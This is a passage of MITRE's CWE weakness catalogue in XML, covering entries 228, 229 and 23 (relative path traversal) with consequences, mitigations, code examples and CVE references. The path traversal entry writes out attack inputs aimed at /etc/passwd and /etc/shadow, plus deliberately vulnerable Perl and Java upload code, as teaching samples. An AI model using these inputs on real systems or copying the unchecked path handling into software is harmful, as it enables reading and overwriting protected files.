        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2017-11-08</Modification_Date>
        <Modification_Comment>updated Causal_Nature, Functional_Areas, Relationships, Taxonomy_Mappings</Modification_Comment>
      </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Description, Name, Relationships, Time_of_Introduction, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Description, Name, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Detection_Factors, Maintenance_Notes, Potential_Mitigations, Relationships, Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
      <Previous_Entry_Name Date="2008-04-11">Sensitive Information Uncleared Before Use</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Sensitive Information Uncleared Before Release</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-08-20">Sensitive Information Uncleared in Resource Before Release for Reuse</Previous_Entry_Name>
     </Content_History>
   </Weakness>
      <Weakness ID="228" Name="Improper Handling of Syntactically Invalid Structure" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product does not handle or incorrectly handles input that is not syntactically well-formed with respect to the associated specification.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="703" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="707" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Unexpected State</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Note>If an input is syntactically invalid, then processing the input could place the system in an unexpected state that could lead to a crash, consume available system resources or other unintended behaviors.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-110">
               <Intro_Text>This Android application has registered to handle a URL when sent an intent:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>...</xhtml:i>
                     <xhtml:br/>IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");<xhtml:br/>MyReceiver receiver = new MyReceiver();<xhtml:br/>registerReceiver(receiver, filter);<xhtml:br/>
                     <xhtml:i>...</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>public class UrlHandlerReceiver extends BroadcastReceiver {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>@Override<xhtml:br/>public void onReceive(Context context, Intent intent) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if("com.example.URLHandler.openURL".equals(intent.getAction())) {<xhtml:div style="margin-left:1em;">String URL = intent.getStringExtra("URLToOpen");<xhtml:br/>int length = URL.length();</xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>...</xhtml:i>
                                 <xhtml:br/>}</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Structure and Validity Problems</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A7</Entry_ID>
               <Entry_Name>Improper Error Handling</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Maintenance">This entry needs more investigation. Public vulnerability research generally focuses on the manipulations that generate invalid structure, instead of the weaknesses that are exploited by those manipulations. For example, a common attack involves making a request that omits a required field, which can trigger a crash in some cases. The crash could be due to a named chain such as CWE-690 (Unchecked Return Value to NULL Pointer Dereference), but public reports rarely cover this aspect of a vulnerability.</Note>
            <Note Type="Theoretical">The validity of input could be roughly classified along "syntactic", "semantic", and "lexical" dimensions. If the specification requires that an input value should be delimited with the "[" and "]" square brackets, then any input that does not follow this specification would be syntactically invalid. If the input between the brackets is expected to be a number, but the letters "aaa" are provided, then the input is syntactically invalid. If the input is a number and enclosed in brackets, but the number is outside of the allowable range, then it is semantically invalid. The inter-relationships between these properties - and their associated weaknesses- need further exploration.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes, Name, Relationships, Relevant_Properties, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relevant_Properties</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Maintenance_Notes, Theoretical_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-09-09">Structure and Validity Problems</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-03-10">Failure to Handle Syntactically Invalid Structure</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="229" Name="Improper Handling of Values" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product does not properly handle when the expected number of values for parameters, fields, or arguments is not provided in input, or if those values are undefined.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="228" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Description, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Value Problems</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="23" Name="Relative Path Traversal" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.</Description>
         <Extended_Description>This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="22" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="22" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="22" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Zip Slip</Term>
               <Description>"Zip slip" is an attack that uses file archives (e.g., ZIP, tar, rar, etc.) that contain filenames with path traversal sequences that cause the files to be written outside of the directory under which the archive is expected to be extracted [REF-1282]. It is most commonly used for relative path traversal (CWE-23) and link following (CWE-59).</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Files or Directories</Impact>
               <Note>The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Files or Directories</Impact>
               <Note>The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the product from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the product.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5.1">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.</xhtml:p>
                  <xhtml:p>Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20.1">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</xhtml:p>
                  <xhtml:p>Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:</xhtml:p>
                     <xhtml:ul>
                        <xhtml:li>realpath() in C</xhtml:li>
                        <xhtml:li>getCanonicalPath() in Java</xhtml:li>
                        <xhtml:li>GetFullPath() in ASP.NET</xhtml:li>
                        <xhtml:li>realpath() or abs_path() in Perl</xhtml:li>
                        <xhtml:li>realpath() in PHP</xhtml:li>
                     </xhtml:ul>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following URLs are vulnerable to this attack:</Intro_Text>
               <Example_Code Nature="Bad">
                  <xhtml:div>http://example.com.br/get-files.jsp?file=report.pdf<xhtml:br/>http://example.com.br/get-page.php?home=aaa.html<xhtml:br/>http://example.com.br/some-page.asp?page=index.html</xhtml:div>
               </Example_Code>
               <Body_Text>A simple way to execute this attack is like this:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>http://example.com.br/get-files?file=../../../../somedir/somefile<xhtml:br/>http://example.com.br/../../../../etc/shadow<xhtml:br/>http://example.com.br/get-files?file=../../../../etc/passwd</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-27">
               <Intro_Text>The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>my $dataPath = "/users/cwe/profiles";<xhtml:br/>my $username = param("user");<xhtml:br/>my $profilePath = $dataPath . "/" . $username;<xhtml:br/>
                     <xhtml:br/>open(my $fh, "&lt;", $profilePath) || ExitError("profile read error: $profilePath");<xhtml:br/>print "&lt;ul&gt;\n";<xhtml:br/>while (&lt;$fh&gt;) {<xhtml:div style="margin-left:1em;">print "&lt;li&gt;$_&lt;/li&gt;\n";</xhtml:div>}<xhtml:br/>print "&lt;/ul&gt;\n";</xhtml:div>
               </Example_Code>
               <Body_Text>While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>../../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>The program would generate a profile pathname like this:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>/users/cwe/profiles/../../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>When the file is opened, the operating system resolves the "../" during path canonicalization and actually accesses this file:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>/etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>As a result, the attacker could read the entire text of the password file.</Body_Text>
               <Body_Text>Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-22">
               <Intro_Text>The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.</Intro_Text>
               <Example_Code Nature="Good" Language="HTML">
                  <xhtml:div>&lt;form action="FileUploadServlet" method="post" enctype="multipart/form-data"&gt;<xhtml:br/>
                     <xhtml:br/>Choose a file to upload:<xhtml:br/>&lt;input type="file" name="filename"/&gt;<xhtml:br/>&lt;br/&gt;<xhtml:br/>&lt;input type="submit" name="submit" value="Submit"/&gt;<xhtml:br/>
                     <xhtml:br/>&lt;/form&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class FileUploadServlet extends HttpServlet {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>...<xhtml:br/>
                           <xhtml:br/>protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {<xhtml:br/>
                           <xhtml:div style="margin-left:1em;">
                              <xhtml:div>response.setContentType("text/html");<xhtml:br/>PrintWriter out = response.getWriter();<xhtml:br/>String contentType = request.getContentType();<xhtml:br/>
                                 <xhtml:br/>// the starting position of the boundary header<xhtml:br/>int ind = contentType.indexOf("boundary=");<xhtml:br/>String boundary = contentType.substring(ind+9);<xhtml:br/>
                                 <xhtml:br/>String pLine = new String();<xhtml:br/>String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value<xhtml:br/>
                                 <xhtml:br/>// verify that content type is multipart form data<xhtml:br/>if (contentType != null &amp;&amp; contentType.indexOf("multipart/form-data") != -1) {<xhtml:br/>
                                 <xhtml:div style="margin-left:1em;">
                                    <xhtml:div>// extract the filename from the Http header<xhtml:br/>BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));<xhtml:br/>...<xhtml:br/>pLine = br.readLine();<xhtml:br/>String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));<xhtml:br/>...<xhtml:br/>
                                       <xhtml:br/>// output the file to the local upload directory<xhtml:br/>try {<xhtml:div style="margin-left:1em;">
                                          <xhtml:div>BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));<xhtml:br/>for (String line; (line=br.readLine())!=null; ) {<xhtml:div style="margin-left:1em;">if (line.indexOf(boundary) == -1) {<xhtml:div style="margin-left:1em;">bw.write(line);<xhtml:br/>bw.newLine();<xhtml:br/>bw.flush();</xhtml:div>}</xhtml:div>} //end of for loop<xhtml:br/>bw.close();</xhtml:div>
                                       </xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:br/>} catch (IOException ex) {...}<xhtml:br/>// output successful upload response HTML page</xhtml:div>
                                 </xhtml:div>}<xhtml:br/>// output unsuccessful upload response HTML page<xhtml:br/>else<xhtml:br/>{...}</xhtml:div>
                           </xhtml:div>}<xhtml:div style="margin-left:1em;">...</xhtml:div>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.</Body_Text>
               <Body_Text>Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2019-20916</Reference>
               <Description>Python package manager does not correctly restrict the filename specified in a Content-Disposition header, allowing arbitrary file read using path traversal sequences such as "../"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-20916</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-24877</Reference>
               <Description>directory traversal in Go-based Kubernetes operator app allows accessing data from the controller's pod file system via ../ sequences in a yaml file</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-24877</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-4053</Reference>
               <Description>a Kubernetes package manager written in Go allows malicious plugins to inject path traversal sequences into a plugin archive ("Zip slip") to copy a file outside the intended directory</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-4053</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-21972</Reference>
               <Description>Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-21972</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2019-10743</Reference>
               <Description>Go-based archive library allows extraction of  files to locations outside of the target folder with "../" path traversal sequences in filenames in a zip file, aka "Zip Slip"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-10743</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0298</Reference>
               <Description>Server allows remote attackers to cause a denial of service via certain HTTP GET requests containing a %2e%2e (encoded dot-dot), several "/../" sequences, or several "../" in a URI.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0298</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0661</Reference>
               <Description>"\" not in denylist for web server, allowing path traversal attacks when the server is run in Windows and other OSes.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0661</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0946</Reference>
               <Description>Arbitrary files may be read files via ..\ (dot dot) sequences in an HTTP request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0946</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1042</Reference>
               <Description>Directory traversal vulnerability in search engine for web server allows remote attackers to read arbitrary files via "..\" sequences in queries.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1042</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1209</Reference>
               <Description>Directory traversal vulnerability in FTP server allows remote attackers to read arbitrary files via "..\" sequences in a GET request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1209</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1178</Reference>
               <Description>Directory traversal vulnerability in servlet allows remote attackers to execute arbitrary commands via "..\" sequences in an HTTP request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1178</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1987</Reference>
               <Description>Protection mechanism checks for "/.." but doesn't account for Windows-specific "\.." allowing read of arbitrary files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1987</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2142</Reference>
               <Description>Directory traversal vulnerability in FTP server allows remote authenticated attackers to list arbitrary directories via a "\.." sequence in an LS command.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2142</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0160</Reference>
               <Description>The administration function in Access Control Server allows remote attackers to read HTML, Java class, and image files outside the web root via a "..\.." sequence in the URL to port 2002.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0160</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0467</Reference>
               <Description>"\..." in web server</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0467</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0963</Reference>
               <Description>"..." in cd command in FTP server</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0963</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1193</Reference>
               <Description>"..." in cd command in FTP server</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1193</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1131</Reference>
               <Description>"..." in cd command in FTP server</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1131</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0480</Reference>
               <Description>read of arbitrary files and directories using GET or CD with "..." in Windows-based FTP server.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0480</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0288</Reference>
               <Description>read files using "." and Unicode-encoded "/" or "\" characters in the URL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0288</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0313</Reference>
